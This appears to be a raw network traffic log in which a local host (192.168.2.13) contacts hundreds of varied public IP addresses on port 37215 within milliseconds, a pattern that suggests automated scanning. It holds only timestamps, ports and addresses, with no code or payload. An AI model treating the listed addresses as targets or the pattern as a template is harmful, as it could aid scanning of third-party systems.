Jan 1, 2024 12:51:55.016715050 CET	37751	37215	192.168.2.13	197.7.244.212
Jan 1, 2024 12:51:55.016726017 CET	37751	37215	192.168.2.13	107.171.121.32
Jan 1, 2024 12:51:55.016741037 CET	37751	37215	192.168.2.13	186.188.108.160
Jan 1, 2024 12:51:55.016741037 CET	37751	37215	192.168.2.13	45.4.137.179
Jan 1, 2024 12:51:55.016742945 CET	37751	37215	192.168.2.13	197.176.70.183
Jan 1, 2024 12:51:55.016742945 CET	37751	37215	192.168.2.13	156.139.77.207
Jan 1, 2024 12:51:55.016742945 CET	37751	37215	192.168.2.13	138.29.132.176
Jan 1, 2024 12:51:55.016742945 CET	37751	37215	192.168.2.13	45.182.34.160
Jan 1, 2024 12:51:55.016748905 CET	37751	37215	192.168.2.13	197.159.34.85
Jan 1, 2024 12:51:55.016748905 CET	37751	37215	192.168.2.13	41.145.40.69
Jan 1, 2024 12:51:55.016760111 CET	37751	37215	192.168.2.13	156.181.247.162
Jan 1, 2024 12:51:55.016761065 CET	37751	37215	192.168.2.13	197.58.91.48
Jan 1, 2024 12:51:55.016762018 CET	37751	37215	192.168.2.13	156.196.37.197
Jan 1, 2024 12:51:55.016765118 CET	37751	37215	192.168.2.13	197.136.181.139
Jan 1, 2024 12:51:55.016772032 CET	37751	37215	192.168.2.13	41.185.104.42
Jan 1, 2024 12:51:55.016772032 CET	37751	37215	192.168.2.13	186.210.231.58
Jan 1, 2024 12:51:55.016784906 CET	37751	37215	192.168.2.13	41.38.230.221
Jan 1, 2024 12:51:55.016796112 CET	37751	37215	192.168.2.13	196.36.84.6
Jan 1, 2024 12:51:55.016796112 CET	37751	37215	192.168.2.13	197.241.91.213
Jan 1, 2024 12:51:55.016797066 CET	37751	37215	192.168.2.13	41.143.148.228
Jan 1, 2024 12:51:55.016799927 CET	37751	37215	192.168.2.13	156.66.237.21
Jan 1, 2024 12:51:55.016799927 CET	37751	37215	192.168.2.13	102.73.180.196
Jan 1, 2024 12:51:55.016804934 CET	37751	37215	192.168.2.13	156.141.123.147
Jan 1, 2024 12:51:55.016808033 CET	37751	37215	192.168.2.13	197.197.248.157
Jan 1, 2024 12:51:55.016809940 CET	37751	37215	192.168.2.13	41.62.101.6
Jan 1, 2024 12:51:55.016812086 CET	37751	37215	192.168.2.13	122.106.207.150
Jan 1, 2024 12:51:55.016820908 CET	37751	37215	192.168.2.13	197.20.110.244
Jan 1, 2024 12:51:55.016822100 CET	37751	37215	192.168.2.13	196.16.207.124
Jan 1, 2024 12:51:55.016825914 CET	37751	37215	192.168.2.13	41.47.60.194
Jan 1, 2024 12:51:55.016832113 CET	37751	37215	192.168.2.13	94.58.255.2
Jan 1, 2024 12:51:55.016832113 CET	37751	37215	192.168.2.13	41.19.205.117
Jan 1, 2024 12:51:55.016832113 CET	37751	37215	192.168.2.13	197.59.129.225
Jan 1, 2024 12:51:55.016836882 CET	37751	37215	192.168.2.13	94.181.101.17
Jan 1, 2024 12:51:55.016838074 CET	37751	37215	192.168.2.13	160.254.74.242
Jan 1, 2024 12:51:55.016843081 CET	37751	37215	192.168.2.13	154.79.209.72
Jan 1, 2024 12:51:55.016843081 CET	37751	37215	192.168.2.13	156.26.131.210
Jan 1, 2024 12:51:55.016849995 CET	37751	37215	192.168.2.13	41.154.205.52
Jan 1, 2024 12:51:55.016850948 CET	37751	37215	192.168.2.13	190.47.62.231
Jan 1, 2024 12:51:55.016850948 CET	37751	37215	192.168.2.13	138.105.148.224
Jan 1, 2024 12:51:55.016855955 CET	37751	37215	192.168.2.13	156.120.226.10
Jan 1, 2024 12:51:55.016855955 CET	37751	37215	192.168.2.13	41.70.78.202
Jan 1, 2024 12:51:55.016855955 CET	37751	37215	192.168.2.13	190.18.220.141
Jan 1, 2024 12:51:55.016875982 CET	37751	37215	192.168.2.13	156.82.139.100
Jan 1, 2024 12:51:55.016876936 CET	37751	37215	192.168.2.13	138.156.77.157
Jan 1, 2024 12:51:55.016880035 CET	37751	37215	192.168.2.13	92.202.150.239
Jan 1, 2024 12:51:55.016880035 CET	37751	37215	192.168.2.13	41.69.87.78
Jan 1, 2024 12:51:55.016880989 CET	37751	37215	192.168.2.13	157.95.235.190
Jan 1, 2024 12:51:55.016880989 CET	37751	37215	192.168.2.13	121.28.172.21
Jan 1, 2024 12:51:55.016882896 CET	37751	37215	192.168.2.13	156.239.81.49
Jan 1, 2024 12:51:55.016885042 CET	37751	37215	192.168.2.13	190.201.129.233
Jan 1, 2024 12:51:55.016885042 CET	37751	37215	192.168.2.13	197.152.152.203
Jan 1, 2024 12:51:55.016885996 CET	37751	37215	192.168.2.13	156.16.245.231
Jan 1, 2024 12:51:55.016885996 CET	37751	37215	192.168.2.13	196.209.122.232
Jan 1, 2024 12:51:55.016896963 CET	37751	37215	192.168.2.13	181.204.140.143
Jan 1, 2024 12:51:55.016896963 CET	37751	37215	192.168.2.13	156.198.239.72
Jan 1, 2024 12:51:55.016896963 CET	37751	37215	192.168.2.13	156.19.171.72
Jan 1, 2024 12:51:55.016896963 CET	37751	37215	192.168.2.13	156.19.255.243
Jan 1, 2024 12:51:55.016896963 CET	37751	37215	192.168.2.13	102.154.220.215
Jan 1, 2024 12:51:55.016897917 CET	37751	37215	192.168.2.13	41.45.233.212
Jan 1, 2024 12:51:55.016899109 CET	37751	37215	192.168.2.13	122.175.90.191
Jan 1, 2024 12:51:55.016900063 CET	37751	37215	192.168.2.13	197.200.83.85
Jan 1, 2024 12:51:55.016900063 CET	37751	37215	192.168.2.13	156.134.19.191
Jan 1, 2024 12:51:55.016897917 CET	37751	37215	192.168.2.13	102.186.158.237
Jan 1, 2024 12:51:55.016901016 CET	37751	37215	192.168.2.13	197.214.146.117
Jan 1, 2024 12:51:55.016906977 CET	37751	37215	192.168.2.13	41.214.189.165
Jan 1, 2024 12:51:55.016910076 CET	37751	37215	192.168.2.13	197.36.129.226
Jan 1, 2024 12:51:55.016913891 CET	37751	37215	192.168.2.13	41.176.229.31
Jan 1, 2024 12:51:55.016915083 CET	37751	37215	192.168.2.13	41.236.203.160
Jan 1, 2024 12:51:55.016918898 CET	37751	37215	192.168.2.13	197.191.146.55
Jan 1, 2024 12:51:55.016921997 CET	37751	37215	192.168.2.13	41.166.19.90
Jan 1, 2024 12:51:55.016921997 CET	37751	37215	192.168.2.13	154.40.215.162
Jan 1, 2024 12:51:55.016922951 CET	37751	37215	192.168.2.13	197.195.205.109
Jan 1, 2024 12:51:55.016922951 CET	37751	37215	192.168.2.13	41.68.111.74
Jan 1, 2024 12:51:55.016922951 CET	37751	37215	192.168.2.13	41.96.86.96
Jan 1, 2024 12:51:55.016936064 CET	37751	37215	192.168.2.13	41.132.77.24
Jan 1, 2024 12:51:55.016936064 CET	37751	37215	192.168.2.13	41.71.127.69
Jan 1, 2024 12:51:55.016936064 CET	37751	37215	192.168.2.13	156.73.149.231
Jan 1, 2024 12:51:55.016953945 CET	37751	37215	192.168.2.13	120.147.109.68
Jan 1, 2024 12:51:55.016953945 CET	37751	37215	192.168.2.13	197.32.233.84
Jan 1, 2024 12:51:55.016963005 CET	37751	37215	192.168.2.13	157.96.185.93
Jan 1, 2024 12:51:55.016963005 CET	37751	37215	192.168.2.13	107.27.32.111
Jan 1, 2024 12:51:55.016963959 CET	37751	37215	192.168.2.13	41.196.238.158
Jan 1, 2024 12:51:55.016979933 CET	37751	37215	192.168.2.13	197.54.92.209
Jan 1, 2024 12:51:55.016980886 CET	37751	37215	192.168.2.13	181.6.72.232
Jan 1, 2024 12:51:55.016980886 CET	37751	37215	192.168.2.13	197.92.34.100
Jan 1, 2024 12:51:55.016984940 CET	37751	37215	192.168.2.13	41.89.105.7
Jan 1, 2024 12:51:55.016984940 CET	37751	37215	192.168.2.13	157.62.249.45
Jan 1, 2024 12:51:55.016988993 CET	37751	37215	192.168.2.13	197.184.34.156
Jan 1, 2024 12:51:55.016988993 CET	37751	37215	192.168.2.13	41.143.145.159
Jan 1, 2024 12:51:55.017009974 CET	37751	37215	192.168.2.13	92.95.23.190
Jan 1, 2024 12:51:55.017014027 CET	37751	37215	192.168.2.13	121.11.222.254
Jan 1, 2024 12:51:55.017014980 CET	37751	37215	192.168.2.13	156.172.109.174
Jan 1, 2024 12:51:55.017014980 CET	37751	37215	192.168.2.13	197.192.188.223
Jan 1, 2024 12:51:55.017014980 CET	37751	37215	192.168.2.13	156.75.252.21
Jan 1, 2024 12:51:55.017014980 CET	37751	37215	192.168.2.13	41.30.192.243
Jan 1, 2024 12:51:55.017019987 CET	37751	37215	192.168.2.13	41.165.128.154
Jan 1, 2024 12:51:55.017026901 CET	37751	37215	192.168.2.13	41.145.119.98
Jan 1, 2024 12:51:55.017028093 CET	37751	37215	192.168.2.13	156.215.186.180
Jan 1, 2024 12:51:55.017040968 CET	37751	37215	192.168.2.13	156.255.219.84
Jan 1, 2024 12:51:55.017040968 CET	37751	37215	192.168.2.13	41.156.102.122
Jan 1, 2024 12:51:55.017045021 CET	37751	37215	192.168.2.13	37.136.49.141
Jan 1, 2024 12:51:55.017047882 CET	37751	37215	192.168.2.13	41.42.27.49
Jan 1, 2024 12:51:55.017047882 CET	37751	37215	192.168.2.13	41.104.238.89
Jan 1, 2024 12:51:55.017052889 CET	37751	37215	192.168.2.13	102.116.55.70
Jan 1, 2024 12:51:55.017055035 CET	37751	37215	192.168.2.13	197.141.47.6
Jan 1, 2024 12:51:55.017057896 CET	37751	37215	192.168.2.13	156.109.71.10
Jan 1, 2024 12:51:55.017057896 CET	37751	37215	192.168.2.13	197.242.164.16
Jan 1, 2024 12:51:55.017057896 CET	37751	37215	192.168.2.13	41.235.210.233
Jan 1, 2024 12:51:55.017075062 CET	37751	37215	192.168.2.13	186.36.105.15
Jan 1, 2024 12:51:55.017080069 CET	37751	37215	192.168.2.13	156.106.193.216
Jan 1, 2024 12:51:55.017080069 CET	37751	37215	192.168.2.13	121.201.166.149
Jan 1, 2024 12:51:55.017082930 CET	37751	37215	192.168.2.13	41.115.123.22
Jan 1, 2024 12:51:55.017086029 CET	37751	37215	192.168.2.13	41.44.246.227
Jan 1, 2024 12:51:55.017086029 CET	37751	37215	192.168.2.13	197.77.52.110
Jan 1, 2024 12:51:55.017086029 CET	37751	37215	192.168.2.13	156.237.81.183
Jan 1, 2024 12:51:55.017086029 CET	37751	37215	192.168.2.13	102.38.206.171
Jan 1, 2024 12:51:55.017086029 CET	37751	37215	192.168.2.13	41.114.225.109
Jan 1, 2024 12:51:55.017088890 CET	37751	37215	192.168.2.13	45.203.202.207
Jan 1, 2024 12:51:55.017088890 CET	37751	37215	192.168.2.13	196.40.56.228
Jan 1, 2024 12:51:55.017100096 CET	37751	37215	192.168.2.13	197.98.79.161
Jan 1, 2024 12:51:55.017107964 CET	37751	37215	192.168.2.13	156.88.45.172
Jan 1, 2024 12:51:55.017107964 CET	37751	37215	192.168.2.13	197.244.119.202
Jan 1, 2024 12:51:55.017119884 CET	37751	37215	192.168.2.13	197.146.223.214
Jan 1, 2024 12:51:55.017121077 CET	37751	37215	192.168.2.13	41.15.156.54
Jan 1, 2024 12:51:55.017122984 CET	37751	37215	192.168.2.13	41.114.183.203
Jan 1, 2024 12:51:55.017131090 CET	37751	37215	192.168.2.13	107.92.39.4
Jan 1, 2024 12:51:55.017134905 CET	37751	37215	192.168.2.13	156.148.27.90
Jan 1, 2024 12:51:55.017134905 CET	37751	37215	192.168.2.13	41.169.67.88
Jan 1, 2024 12:51:55.017143965 CET	37751	37215	192.168.2.13	196.111.65.15
Jan 1, 2024 12:51:55.017144918 CET	37751	37215	192.168.2.13	156.54.146.101
Jan 1, 2024 12:51:55.017153025 CET	37751	37215	192.168.2.13	122.63.135.236
Jan 1, 2024 12:51:55.017153978 CET	37751	37215	192.168.2.13	41.66.77.84
Jan 1, 2024 12:51:55.017153978 CET	37751	37215	192.168.2.13	41.28.158.38
Jan 1, 2024 12:51:55.017164946 CET	37751	37215	192.168.2.13	41.231.26.220
Jan 1, 2024 12:51:55.017168999 CET	37751	37215	192.168.2.13	122.172.101.221
Jan 1, 2024 12:51:55.017174006 CET	37751	37215	192.168.2.13	157.31.234.38
Jan 1, 2024 12:51:55.017184019 CET	37751	37215	192.168.2.13	41.201.36.54
Jan 1, 2024 12:51:55.017190933 CET	37751	37215	192.168.2.13	122.143.41.26
Jan 1, 2024 12:51:55.017193079 CET	37751	37215	192.168.2.13	190.93.81.177
Jan 1, 2024 12:51:55.017196894 CET	37751	37215	192.168.2.13	41.173.167.69
Jan 1, 2024 12:51:55.017196894 CET	37751	37215	192.168.2.13	156.218.219.152
Jan 1, 2024 12:51:55.017196894 CET	37751	37215	192.168.2.13	156.36.89.51
Jan 1, 2024 12:51:55.017201900 CET	37751	37215	192.168.2.13	156.178.187.135
Jan 1, 2024 12:51:55.017201900 CET	37751	37215	192.168.2.13	197.181.236.20
Jan 1, 2024 12:51:55.017201900 CET	37751	37215	192.168.2.13	160.153.238.185
Jan 1, 2024 12:51:55.017205954 CET	37751	37215	192.168.2.13	41.4.154.148
Jan 1, 2024 12:51:55.017215967 CET	37751	37215	192.168.2.13	197.194.230.132
Jan 1, 2024 12:51:55.017220974 CET	37751	37215	192.168.2.13	156.110.121.105
Jan 1, 2024 12:51:55.017221928 CET	37751	37215	192.168.2.13	154.239.157.49
Jan 1, 2024 12:51:55.017221928 CET	37751	37215	192.168.2.13	41.150.193.172
Jan 1, 2024 12:51:55.017230034 CET	37751	37215	192.168.2.13	197.37.100.69
Jan 1, 2024 12:51:55.017231941 CET	37751	37215	192.168.2.13	121.18.248.199
Jan 1, 2024 12:51:55.017235994 CET	37751	37215	192.168.2.13	156.246.240.69
Jan 1, 2024 12:51:55.017235994 CET	37751	37215	192.168.2.13	156.184.93.39
Jan 1, 2024 12:51:55.017239094 CET	37751	37215	192.168.2.13	156.1.8.19
Jan 1, 2024 12:51:55.017239094 CET	37751	37215	192.168.2.13	197.167.122.240
Jan 1, 2024 12:51:55.017247915 CET	37751	37215	192.168.2.13	120.171.5.91
Jan 1, 2024 12:51:55.017249107 CET	37751	37215	192.168.2.13	197.64.3.37
Jan 1, 2024 12:51:55.017249107 CET	37751	37215	192.168.2.13	37.215.35.179
Jan 1, 2024 12:51:55.017250061 CET	37751	37215	192.168.2.13	156.41.101.99
Jan 1, 2024 12:51:55.017247915 CET	37751	37215	192.168.2.13	186.16.197.173
Jan 1, 2024 12:51:55.017261982 CET	37751	37215	192.168.2.13	41.33.125.151
Jan 1, 2024 12:51:55.017261982 CET	37751	37215	192.168.2.13	197.36.107.128
Jan 1, 2024 12:51:55.017262936 CET	37751	37215	192.168.2.13	94.78.241.235
Jan 1, 2024 12:51:55.017262936 CET	37751	37215	192.168.2.13	181.144.189.95
Jan 1, 2024 12:51:55.017271042 CET	37751	37215	192.168.2.13	197.174.1.51
Jan 1, 2024 12:51:55.017271042 CET	37751	37215	192.168.2.13	190.97.90.75
Jan 1, 2024 12:51:55.017271042 CET	37751	37215	192.168.2.13	94.26.167.217
Jan 1, 2024 12:51:55.017280102 CET	37751	37215	192.168.2.13	196.2.42.25
Jan 1, 2024 12:51:55.017280102 CET	37751	37215	192.168.2.13	196.253.229.84
Jan 1, 2024 12:51:55.017281055 CET	37751	37215	192.168.2.13	181.174.217.237
Jan 1, 2024 12:51:55.017281055 CET	37751	37215	192.168.2.13	197.45.77.191
Jan 1, 2024 12:51:55.017281055 CET	37751	37215	192.168.2.13	94.52.104.54
Jan 1, 2024 12:51:55.017282963 CET	37751	37215	192.168.2.13	156.110.54.193
Jan 1, 2024 12:51:55.017283916 CET	37751	37215	192.168.2.13	197.168.19.74
Jan 1, 2024 12:51:55.017285109 CET	37751	37215	192.168.2.13	156.56.192.135
Jan 1, 2024 12:51:55.017292976 CET	37751	37215	192.168.2.13	41.94.19.128
Jan 1, 2024 12:51:55.017292976 CET	37751	37215	192.168.2.13	121.165.115.30
Jan 1, 2024 12:51:55.017292976 CET	37751	37215	192.168.2.13	156.5.132.24
Jan 1, 2024 12:51:55.017297983 CET	37751	37215	192.168.2.13	186.26.239.72
Jan 1, 2024 12:51:55.017302036 CET	37751	37215	192.168.2.13	197.146.3.91
Jan 1, 2024 12:51:55.017302036 CET	37751	37215	192.168.2.13	156.248.51.231
Jan 1, 2024 12:51:55.017302036 CET	37751	37215	192.168.2.13	154.239.252.37
Jan 1, 2024 12:51:55.017302036 CET	37751	37215	192.168.2.13	197.24.15.45
Jan 1, 2024 12:51:55.017307997 CET	37751	37215	192.168.2.13	156.87.118.115
Jan 1, 2024 12:51:55.017308950 CET	37751	37215	192.168.2.13	196.185.58.197
Jan 1, 2024 12:51:55.017317057 CET	37751	37215	192.168.2.13	197.216.91.182
Jan 1, 2024 12:51:55.017318010 CET	37751	37215	192.168.2.13	196.2.172.209
Jan 1, 2024 12:51:55.017323971 CET	37751	37215	192.168.2.13	122.185.7.0
Jan 1, 2024 12:51:55.017330885 CET	37751	37215	192.168.2.13	156.252.115.108
Jan 1, 2024 12:51:55.017332077 CET	37751	37215	192.168.2.13	95.55.47.182
Jan 1, 2024 12:51:55.017338991 CET	37751	37215	192.168.2.13	107.57.72.241
Jan 1, 2024 12:51:55.017349958 CET	37751	37215	192.168.2.13	45.152.15.125
Jan 1, 2024 12:51:55.017349958 CET	37751	37215	192.168.2.13	102.52.122.103
Jan 1, 2024 12:51:55.017350912 CET	37751	37215	192.168.2.13	197.134.112.159
Jan 1, 2024 12:51:55.017350912 CET	37751	37215	192.168.2.13	156.55.115.180
Jan 1, 2024 12:51:55.017365932 CET	37751	37215	192.168.2.13	186.249.201.129
Jan 1, 2024 12:51:55.017369032 CET	37751	37215	192.168.2.13	197.38.237.184
Jan 1, 2024 12:51:55.017371893 CET	37751	37215	192.168.2.13	197.95.244.247
Jan 1, 2024 12:51:55.017374992 CET	37751	37215	192.168.2.13	92.95.249.24
Jan 1, 2024 12:51:55.017385006 CET	37751	37215	192.168.2.13	156.86.110.177
Jan 1, 2024 12:51:55.017386913 CET	37751	37215	192.168.2.13	222.129.111.131
Jan 1, 2024 12:51:55.017386913 CET	37751	37215	192.168.2.13	154.252.162.229
Jan 1, 2024 12:51:55.017395973 CET	37751	37215	192.168.2.13	45.144.61.103
Jan 1, 2024 12:51:55.017402887 CET	37751	37215	192.168.2.13	190.151.253.209
Jan 1, 2024 12:51:55.017411947 CET	37751	37215	192.168.2.13	190.173.39.116
Jan 1, 2024 12:51:55.017411947 CET	37751	37215	192.168.2.13	197.255.180.139
Jan 1, 2024 12:51:55.017422915 CET	37751	37215	192.168.2.13	197.194.228.251
Jan 1, 2024 12:51:55.017422915 CET	37751	37215	192.168.2.13	156.111.217.170
Jan 1, 2024 12:51:55.017429113 CET	37751	37215	192.168.2.13	156.225.241.43
Jan 1, 2024 12:51:55.017432928 CET	37751	37215	192.168.2.13	190.43.158.172
Jan 1, 2024 12:51:55.017440081 CET	37751	37215	192.168.2.13	45.168.92.34
Jan 1, 2024 12:51:55.017450094 CET	37751	37215	192.168.2.13	41.0.113.205
Jan 1, 2024 12:51:55.017452002 CET	37751	37215	192.168.2.13	41.175.127.119
Jan 1, 2024 12:51:55.017458916 CET	37751	37215	192.168.2.13	197.64.83.100
Jan 1, 2024 12:51:55.017458916 CET	37751	37215	192.168.2.13	190.151.91.208
Jan 1, 2024 12:51:55.017458916 CET	37751	37215	192.168.2.13	41.197.160.239
Jan 1, 2024 12:51:55.017462015 CET	37751	37215	192.168.2.13	120.108.56.25
Jan 1, 2024 12:51:55.017465115 CET	37751	37215	192.168.2.13	197.217.229.43
Jan 1, 2024 12:51:55.017472029 CET	37751	37215	192.168.2.13	197.136.3.30
Jan 1, 2024 12:51:55.017473936 CET	37751	37215	192.168.2.13	154.141.231.187
Jan 1, 2024 12:51:55.017476082 CET	37751	37215	192.168.2.13	197.139.167.139
Jan 1, 2024 12:51:55.017487049 CET	37751	37215	192.168.2.13	156.196.237.90
Jan 1, 2024 12:51:55.017488956 CET	37751	37215	192.168.2.13	138.242.85.145
Jan 1, 2024 12:51:55.017491102 CET	37751	37215	192.168.2.13	41.170.189.141
Jan 1, 2024 12:51:55.017494917 CET	37751	37215	192.168.2.13	41.116.217.225
Jan 1, 2024 12:51:55.017494917 CET	37751	37215	192.168.2.13	154.96.229.23
Jan 1, 2024 12:51:55.017503977 CET	37751	37215	192.168.2.13	156.21.94.62
Jan 1, 2024 12:51:55.017513037 CET	37751	37215	192.168.2.13	95.162.153.36
Jan 1, 2024 12:51:55.017514944 CET	37751	37215	192.168.2.13	154.142.208.111
Jan 1, 2024 12:51:55.017514944 CET	37751	37215	192.168.2.13	197.9.159.170
Jan 1, 2024 12:51:55.017514944 CET	37751	37215	192.168.2.13	197.109.249.184
Jan 1, 2024 12:51:55.017523050 CET	37751	37215	192.168.2.13	156.246.7.103
Jan 1, 2024 12:51:55.017529011 CET	37751	37215	192.168.2.13	181.10.128.117
Jan 1, 2024 12:51:55.017539024 CET	37751	37215	192.168.2.13	186.63.219.112
Jan 1, 2024 12:51:55.017544985 CET	37751	37215	192.168.2.13	41.186.247.230
Jan 1, 2024 12:51:55.017544985 CET	37751	37215	192.168.2.13	197.46.91.176
Jan 1, 2024 12:51:55.017544985 CET	37751	37215	192.168.2.13	41.94.167.254
Jan 1, 2024 12:51:55.017544985 CET	37751	37215	192.168.2.13	122.97.176.13
Jan 1, 2024 12:51:55.017544985 CET	37751	37215	192.168.2.13	95.83.76.91
Jan 1, 2024 12:51:55.017555952 CET	37751	37215	192.168.2.13	41.14.90.167
Jan 1, 2024 12:51:55.017559052 CET	37751	37215	192.168.2.13	197.90.126.155
Jan 1, 2024 12:51:55.017559052 CET	37751	37215	192.168.2.13	41.68.0.45
Jan 1, 2024 12:51:55.017565012 CET	37751	37215	192.168.2.13	156.205.138.227
Jan 1, 2024 12:51:55.017565012 CET	37751	37215	192.168.2.13	197.23.135.208
Jan 1, 2024 12:51:55.017565012 CET	37751	37215	192.168.2.13	156.2.36.217
Jan 1, 2024 12:51:55.017585993 CET	37751	37215	192.168.2.13	181.173.165.77
Jan 1, 2024 12:51:55.017586946 CET	37751	37215	192.168.2.13	196.117.194.148
Jan 1, 2024 12:51:55.017587900 CET	37751	37215	192.168.2.13	197.222.192.50
Jan 1, 2024 12:51:55.017591953 CET	37751	37215	192.168.2.13	120.93.58.24
Jan 1, 2024 12:51:55.017595053 CET	37751	37215	192.168.2.13	197.184.200.18
Jan 1, 2024 12:51:55.017610073 CET	37751	37215	192.168.2.13	156.118.97.212
Jan 1, 2024 12:51:55.017611980 CET	37751	37215	192.168.2.13	156.219.124.113
Jan 1, 2024 12:51:55.017615080 CET	37751	37215	192.168.2.13	41.53.105.248
Jan 1, 2024 12:51:55.017617941 CET	37751	37215	192.168.2.13	197.130.69.207
Jan 1, 2024 12:51:55.017621994 CET	37751	37215	192.168.2.13	156.113.69.73
Jan 1, 2024 12:51:55.017631054 CET	37751	37215	192.168.2.13	156.125.5.102
Jan 1, 2024 12:51:55.017633915 CET	37751	37215	192.168.2.13	197.172.162.133
Jan 1, 2024 12:51:55.017647028 CET	37751	37215	192.168.2.13	197.198.187.13
Jan 1, 2024 12:51:55.017647028 CET	37751	37215	192.168.2.13	102.125.83.124
Jan 1, 2024 12:51:55.017651081 CET	37751	37215	192.168.2.13	156.164.112.157
Jan 1, 2024 12:51:55.017654896 CET	37751	37215	192.168.2.13	41.108.201.34
Jan 1, 2024 12:51:55.017667055 CET	37751	37215	192.168.2.13	156.174.214.89
Jan 1, 2024 12:51:55.017667055 CET	37751	37215	192.168.2.13	156.159.254.33
Jan 1, 2024 12:51:55.017669916 CET	37751	37215	192.168.2.13	156.178.26.109
Jan 1, 2024 12:51:55.017680883 CET	37751	37215	192.168.2.13	186.50.82.212
Jan 1, 2024 12:51:55.017690897 CET	37751	37215	192.168.2.13	41.144.180.202
Jan 1, 2024 12:51:55.017690897 CET	37751	37215	192.168.2.13	197.219.45.90
Jan 1, 2024 12:51:55.017693996 CET	37751	37215	192.168.2.13	138.106.157.106
Jan 1, 2024 12:51:55.017698050 CET	37751	37215	192.168.2.13	95.87.255.171
Jan 1, 2024 12:51:55.017699003 CET	37751	37215	192.168.2.13	186.1.50.18
Jan 1, 2024 12:51:55.017699957 CET	37751	37215	192.168.2.13	197.154.77.78
Jan 1, 2024 12:51:55.017703056 CET	37751	37215	192.168.2.13	160.51.57.80
Jan 1, 2024 12:51:55.017703056 CET	37751	37215	192.168.2.13	120.131.29.173
Jan 1, 2024 12:51:55.017708063 CET	37751	37215	192.168.2.13	156.83.14.253
Jan 1, 2024 12:51:55.017708063 CET	37751	37215	192.168.2.13	41.95.31.5
Jan 1, 2024 12:51:55.017714977 CET	37751	37215	192.168.2.13	156.191.138.107
Jan 1, 2024 12:51:55.017730951 CET	37751	37215	192.168.2.13	138.11.181.143
Jan 1, 2024 12:51:55.017731905 CET	37751	37215	192.168.2.13	197.109.168.197
Jan 1, 2024 12:51:55.017736912 CET	37751	37215	192.168.2.13	190.192.142.160
Jan 1, 2024 12:51:55.017736912 CET	37751	37215	192.168.2.13	41.66.57.239
Jan 1, 2024 12:51:55.017736912 CET	37751	37215	192.168.2.13	41.194.66.180
Jan 1, 2024 12:51:55.017739058 CET	37751	37215	192.168.2.13	45.78.187.158
Jan 1, 2024 12:51:55.017745018 CET	37751	37215	192.168.2.13	197.192.147.69
Jan 1, 2024 12:51:55.017745018 CET	37751	37215	192.168.2.13	41.255.126.128
Jan 1, 2024 12:51:55.017745018 CET	37751	37215	192.168.2.13	156.101.221.43
Jan 1, 2024 12:51:55.017751932 CET	37751	37215	192.168.2.13	197.207.71.19
Jan 1, 2024 12:51:55.017752886 CET	37751	37215	192.168.2.13	41.177.13.102
Jan 1, 2024 12:51:55.017754078 CET	37751	37215	192.168.2.13	156.191.209.249
Jan 1, 2024 12:51:55.017755032 CET	37751	37215	192.168.2.13	156.240.195.104
Jan 1, 2024 12:51:55.017754078 CET	37751	37215	192.168.2.13	41.131.164.213
Jan 1, 2024 12:51:55.017755032 CET	37751	37215	192.168.2.13	197.188.154.203
Jan 1, 2024 12:51:55.017760992 CET	37751	37215	192.168.2.13	41.156.66.200
Jan 1, 2024 12:51:55.017769098 CET	37751	37215	192.168.2.13	41.55.215.41
Jan 1, 2024 12:51:55.017771959 CET	37751	37215	192.168.2.13	95.214.93.138
Jan 1, 2024 12:51:55.017782927 CET	37751	37215	192.168.2.13	197.36.74.215
Jan 1, 2024 12:51:55.017782927 CET	37751	37215	192.168.2.13	37.84.175.195
Jan 1, 2024 12:51:55.017782927 CET	37751	37215	192.168.2.13	41.177.135.199
Jan 1, 2024 12:51:55.017792940 CET	37751	37215	192.168.2.13	156.111.210.54
Jan 1, 2024 12:51:55.017812014 CET	37751	37215	192.168.2.13	41.199.227.21
Jan 1, 2024 12:51:55.017812967 CET	37751	37215	192.168.2.13	102.142.153.47
Jan 1, 2024 12:51:55.017815113 CET	37751	37215	192.168.2.13	41.110.122.158
Jan 1, 2024 12:51:55.017818928 CET	37751	37215	192.168.2.13	94.142.143.245
Jan 1, 2024 12:51:55.017824888 CET	37751	37215	192.168.2.13	41.56.232.163
Jan 1, 2024 12:51:55.017827034 CET	37751	37215	192.168.2.13	41.62.187.132
Jan 1, 2024 12:51:55.017827988 CET	37751	37215	192.168.2.13	156.158.151.144
Jan 1, 2024 12:51:55.017829895 CET	37751	37215	192.168.2.13	120.239.102.121
Jan 1, 2024 12:51:55.017831087 CET	37751	37215	192.168.2.13	92.16.146.17
Jan 1, 2024 12:51:55.017829895 CET	37751	37215	192.168.2.13	157.49.221.130
Jan 1, 2024 12:51:55.017831087 CET	37751	37215	192.168.2.13	41.99.82.61
Jan 1, 2024 12:51:55.017832041 CET	37751	37215	192.168.2.13	197.245.118.3
Jan 1, 2024 12:51:55.017832041 CET	37751	37215	192.168.2.13	41.232.40.245
Jan 1, 2024 12:51:55.017838955 CET	37751	37215	192.168.2.13	156.11.66.209
Jan 1, 2024 12:51:55.017841101 CET	37751	37215	192.168.2.13	156.100.38.142
Jan 1, 2024 12:51:55.017846107 CET	37751	37215	192.168.2.13	41.75.24.59
Jan 1, 2024 12:51:55.017848969 CET	37751	37215	192.168.2.13	160.238.195.167
Jan 1, 2024 12:51:55.017848969 CET	37751	37215	192.168.2.13	41.152.254.32
Jan 1, 2024 12:51:55.017848969 CET	37751	37215	192.168.2.13	41.195.94.132
Jan 1, 2024 12:51:55.017848969 CET	37751	37215	192.168.2.13	41.101.83.29
Jan 1, 2024 12:51:55.017848969 CET	37751	37215	192.168.2.13	41.135.101.10
Jan 1, 2024 12:51:55.017853022 CET	37751	37215	192.168.2.13	156.203.93.132
Jan 1, 2024 12:51:55.017854929 CET	37751	37215	192.168.2.13	120.222.166.244
Jan 1, 2024 12:51:55.017855883 CET	37751	37215	192.168.2.13	121.192.69.23
Jan 1, 2024 12:51:55.017855883 CET	37751	37215	192.168.2.13	156.238.155.53
Jan 1, 2024 12:51:55.017860889 CET	37751	37215	192.168.2.13	41.67.56.127
Jan 1, 2024 12:51:55.017860889 CET	37751	37215	192.168.2.13	41.93.74.137
Jan 1, 2024 12:51:55.017863035 CET	37751	37215	192.168.2.13	45.165.127.40
Jan 1, 2024 12:51:55.017864943 CET	37751	37215	192.168.2.13	41.228.231.176
Jan 1, 2024 12:51:55.017869949 CET	37751	37215	192.168.2.13	196.19.207.215
Jan 1, 2024 12:51:55.017869949 CET	37751	37215	192.168.2.13	197.69.150.215
Jan 1, 2024 12:51:55.017884970 CET	37751	37215	192.168.2.13	138.240.157.158
Jan 1, 2024 12:51:55.017885923 CET	37751	37215	192.168.2.13	197.255.1.77
Jan 1, 2024 12:51:55.017891884 CET	37751	37215	192.168.2.13	156.241.216.209
